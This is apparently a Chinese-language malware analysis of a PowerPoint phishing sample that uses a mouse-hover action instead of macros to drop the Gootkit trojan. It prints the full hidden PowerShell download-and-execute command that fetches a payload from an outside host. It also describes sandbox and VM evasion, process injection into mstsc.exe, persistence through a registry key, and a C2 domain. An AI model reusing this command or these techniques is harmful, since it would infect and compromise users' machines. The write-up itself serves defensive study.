1 概述
最近出現了一種新型的PPT釣魚攻擊方式,該種釣魚攻擊方式不需要宏就能實現執行powershell的功能,通過網絡下載gootkit木馬進行控制。
2 分析
樣本 MD5:3bff3e4fec2b6030c89e792c05f049fc
在拿到樣本我們放到虛擬機中進行執行,可以看到以下,但是這并不會觸發攻擊
當我們用F5放映這個文檔后,并把鼠標放到 Loading…Please wait 這個上面,就可以看到如下的畫面,提示我們要啟動一個外部程序
這個時候我們在點擊啟動之后,會看見一個powershell的窗口一閃而過,可以知道樣本執行了一段powershell的腳本

我們將樣本后綴名改為zip,看看這段powershell 代碼在何處,我們最終在ppt\slides中找到了這段powershell腳本

我們在slide1.xml.rels 中找到這段powershell腳本,我們可以看到Id為rId2,
我們在對應的slide1.xml 中id為rId2 對應的動作位為,當鼠標覆蓋時,就觸發這個外部事件
id="rId2"action="ppaction://program"/>

我們來看看這段powershell 腳本(已還原),可以看到是下載一個php文件放到臨時文件夾,并重命名為ii.jse
powershell -NoP -NonI -W Hidden -ExecBypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://'+'cccn.nl/'+'c.php',\"$env:temp\ii.jse\");Invoke-Item \"$env:temp\ii.jse\""
我們可以看到這個js 文件,這個文件是經過強混淆的作用是下載個exe文件

我們來詳細分析下下載到的PE文件
MD5
13cdbd8c31155610b628423dc2720419
編譯時間
2017年5月27日14點
編譯器信息
Microsoft Visual C++ ver. 8.0
殼信息
無殼
下圖為樣本的大致流程

在樣本的開始階段,做了些反模擬機的工作,比如一些錯誤的函數調用,看返回值是否被修改,執行很多無效指令,來達到模擬機指令的閾值等等

我們來看看這個樣本中的sub_41E160中的無效指令

之后一個大的sleep來對抗沙箱,因為很多沙箱是有時間范圍的

之后在解密出一段shellcode進行執行,這段shellcode的主要作用就是解密出一個pe文件然后加載運行,解密出的PE文件

將這個PE文件dump出來,看以下基本信息
MD5
89509761e2636e2b8a1c6f7ec8823b8f
編譯器時間
2011-04-11 02:39:24
編譯器類型
Microsoft Visual C++ ver. ~6.0~7.10 – Linker 10 – Visual 2010
樣本首先會獲取當前樣本名稱和mstsc.exe比較,如果不相同,則進入注入模塊

樣本首先會創建mstsc.exe

然后通過ZwCreateSection和ZwMapViewOfSection 進行注入,并在注入后,獲取啟動地址并進行修改

我們手動附加,進行修改,然后修改EIP,進行調試,我們將開始地址修改為下面的樣子

由于和原文件代碼相同,我們直接到文件名比較的地方,這里比較相同后,首先會獲取進程的權限
如果判斷是低權限的進程,則會通過ShellExecuteEx 使用管理員權限啟動

之后在比較當前進程不是IE和不是任務進程后,打開BIOS注冊表,查找是否在虛擬機中

并從系統信息中找到沙箱的蛛絲馬跡這個是尋找Sandbox

查找BOCHS

查找的沙箱還有 VBOX 、QEMU、SMCI、Vmware、FTNT-1、VirtualBox、
如果查找到沙箱則進入死循環

然后拷貝自身到如下目錄下,重命名位mqnets.exe,并執行

并刪除自身

我們看看在拷貝到IE目錄下樣本會做些什么,在這里比較是在IE目錄下的時候,會發生跳轉

可以通過偽代碼可以發現在通過比較后。會執行一個線程,我們看看這個線程

開頭還是一段判斷自己是否在虛擬機中

設置了4個環境變量分別是
Standalonemtm true
Vendor_id exe_scheduler_3333
Mainprocessoverride svchost.exe
RandomListenPortBase 6000

這個線程的主要作用是開啟下面的5個線程

我們首先看第一個線程,主要作用是連接一個網址
網址為 web.1901ospinosct.com


在連接時候,還包括了探測IE代理的設置,如果發現,進行設置

關閉重定向和加入查詢認證(SSL)

將接收的文件內容放到注冊中

注冊表為 HKEY_CURRENT_USER\Software\binaryImage32_0
HKEY_CURRENT_USER\Software\binaryImage32_1

第二個線程主要是將第一步下載的創建成文件

將IE的保護模式設置位禁用
第三個線程將文件進行注入

第四個線程主要是保持持久化
創建inf文件

設置啟動
使用 IEAK\GroupPolicy\PendingGPOs key 去保持持久化

第五個線程主要是判斷Temp文件是否如下圖的文件,如果有殼殺死自身,并刪除自身


總結
樣本在對抗沙箱和模擬機中有很強的針對性,在持久話方面也很獨特,值得研究一下
|